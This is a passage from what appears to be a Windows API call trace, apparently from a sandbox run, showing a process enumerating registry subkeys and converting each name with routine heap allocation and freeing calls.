lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0222.874] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0xf6c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0222.874] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.874] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.874] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.874] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.874] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0xf6b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0222.874] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0222.874] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0xf6c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0222.874] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.874] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.874] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.874] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.874] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0xf6b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0222.874] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0222.874] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0xf6c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0222.875] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.875] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.875] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.875] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.875] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0xf6b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0222.875] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0222.875] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0xf6c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0222.875] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.875] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.875] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.875] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.875] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0xf6b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0222.875] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0222.875] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0xf6c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0222.875] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.875] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.875] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.875] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.875] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0xf6b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0222.875] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0222.875] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0xf6c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0222.875] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.875] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.875] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.875] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.875] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0xf6b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0222.876] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0222.876] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0xf6c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0222.876] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.876] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.876] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.876] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.876] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0xf6b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0222.876] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0222.876] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0xf6c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0222.876] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.876] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.876] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.876] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.876] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0xf6b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0222.876] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0222.876] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0xf6c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0222.876] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.876] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.876] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.876] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.876] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0xf6b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0222.876] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0222.876] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0xf6c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0222.876] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.876] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.876] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.876] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.876] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0xf6b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0222.877] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0222.877] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0xf6c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0222.877] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.877] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.877] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.877] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.877] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0xf6b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0222.877] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0222.877] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0xf6c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0222.877] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.877] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.877] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.877] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.877] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0xf6b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0222.877] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0222.877] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0xf6c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0222.877] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.877] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.877] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.877] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.877] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0xf6b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0222.877] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0222.877] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0xf6c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0222.877] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.877] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.877] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.877] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.878] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0xf6b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0222.878] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0222.878] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0xf6c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0222.878] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.878] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.878] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.878] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.878] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0xf6b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0222.878] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0222.878] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0xf6c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0222.878] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.878] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.878] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.878] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.878] RegEnumKeyW (in: hKey=0x24, dwIndex=0x28, lpName=0xf6b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0222.878] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0222.878] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0xf6c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0222.878] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.878] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.878] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.878] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.878] RegEnumKeyW (in: hKey=0x24, dwIndex=0x29, lpName=0xf6b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0222.878] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0222.878] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0xf6c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0222.878] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.878] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.878] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.879] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.879] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2a, lpName=0xf6b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0222.879] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0222.879] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0xf6c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0222.879] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.879] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.879] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.879] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.879] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2b, lpName=0xf6b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0222.879] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0222.879] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0xf6c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0222.879] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.879] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.879] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.879] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.879] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2c, lpName=0xf6b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0222.879] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0222.879] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0xf6c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0222.879] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.879] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.879] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.879] RtlFreeHeap 